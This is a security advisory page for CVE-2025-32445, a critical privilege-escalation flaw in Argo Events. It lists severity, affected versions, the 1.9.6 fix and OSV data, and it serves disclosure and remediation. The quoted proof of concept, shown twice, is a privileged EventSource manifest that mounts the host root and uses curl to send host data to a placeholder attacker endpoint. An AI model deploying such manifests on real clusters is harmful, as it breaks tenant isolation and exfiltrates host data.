CVE-2025-32445: Github.com/argoproj/argo events Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-hmp7-x699-cvhq
CVSS 9.9
CWE-268 CWE-250
Published
Advisory Summary

CVE-2025-32445 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-268: Privilege Chaining) affecting Github.com/argoproj/argo events libraries in the Go ecosystem. The issue involves argo events users can gain privileged access to the host system and cluster with eventsource and sensor cr. Remediation is available by upgrading affected packages to version 1.9.6.

CVE-2025-32445 at a Glance

CVE Identifier CVE-2025-32445
GHSA Identifier GHSA-hmp7-x699-cvhq
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-268: Privilege Chaining
Affected Product Github.com/argoproj/argo events
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-32445

To remediate this vulnerability, upgrade all affected Github.com/argoproj/argo events dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/argoproj/argo-events fixed: 1.9.6
Upgrade github.com/argoproj/argo-events to 1.9.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/argoproj/argo-events

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-32445, inspect your project dependencies for Github.com/argoproj/argo events:

inspect dependencies for github.com/argoproj/argo-events

Analyze the terminal output to locate any version of Github.com/argoproj/argo events in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-268: Privilege Chaining, where two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination. In Github.com/argoproj/argo events, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary: A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. ### Details: The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below. ```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ``` With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`. Here is an example that demonstrates the vulnerability. ``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm -f /tmp/data; echo '=== containerd socket ===' > /tmp/data 2>&1; ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1; echo '=== proof of host access ===' >> /tmp/data 2>&1; cat /host/etc/hostname >> /tmp/data 2>&1; curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/; sleep 300; done" ] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / ``` ### Impact: - Multi-tenant Clusters: - Tenant isolation broken - Non-admin users can gain host/cluster access - Access to other tenants' data - Security Model Bypass: - RBAC restrictions circumvented - Pod Security Policies/Standards bypassed - Host system compromised ### Patches A [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed. `v1.9.6` ### Credits This vulnerability was found & reported by: @thevilledev The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

CVE-2025-32445 Affected Github.com/argoproj/argo events Versions

1 component(s)
Fixed Versions:
1.9.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/argoproj/argo-events
Go
< 1.9.6
1.9.6

References

Frequently Asked Questions

What is CVE-2025-32445?
CVE-2025-32445 is a security vulnerability in Github.com/argoproj/argo events involving Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR under CWE-268: Privilege Chaining.
Which Github.com/argoproj/argo events versions are affected?
Affected versions include releases prior to 1.9.6 across affected packages: github.com/argoproj/argo-events.
What version fixes CVE-2025-32445?
Upgrading to 1.9.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/argoproj/argo-events affected?
Yes, github.com/argoproj/argo-events is affected in releases prior to 1.9.6. Upgrade your dependency to 1.9.6 or later.
What is the CVSS score of CVE-2025-32445?
CVE-2025-32445 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2025-32445?
CVE-2025-32445 is classified under CWE-268: Privilege Chaining (Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.).
How can I check Go dependencies for CVE-2025-32445?
Run the dependency tree command: 'inspect dependencies for github.com/argoproj/argo-events'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hmp7-x699-cvhq",
  "modified" : "2025-04-23T15:07:31Z",
  "published" : "2025-04-14T17:47:39Z",
  "aliases" : [ "CVE-2025-32445" ],
  "summary" : "Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR ",
  "details" : "### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update && apt-get install -y curl && while true; do\n         rm -f /tmp/data;\n         echo '=== containerd socket ===' > /tmp/data 2>&1;\n         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;\n         echo '=== proof of host access ===' >> /tmp/data 2>&1;\n         cat /host/etc/hostname >> /tmp/data 2>&1;\n         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants' data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found & reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-events"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-32445"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-events/pull/3528"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-events"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3608"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-250", "CWE-268" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-14T17:47:39Z",
    "nvd_published_at" : "2025-04-15T20:15:39Z"
  }
}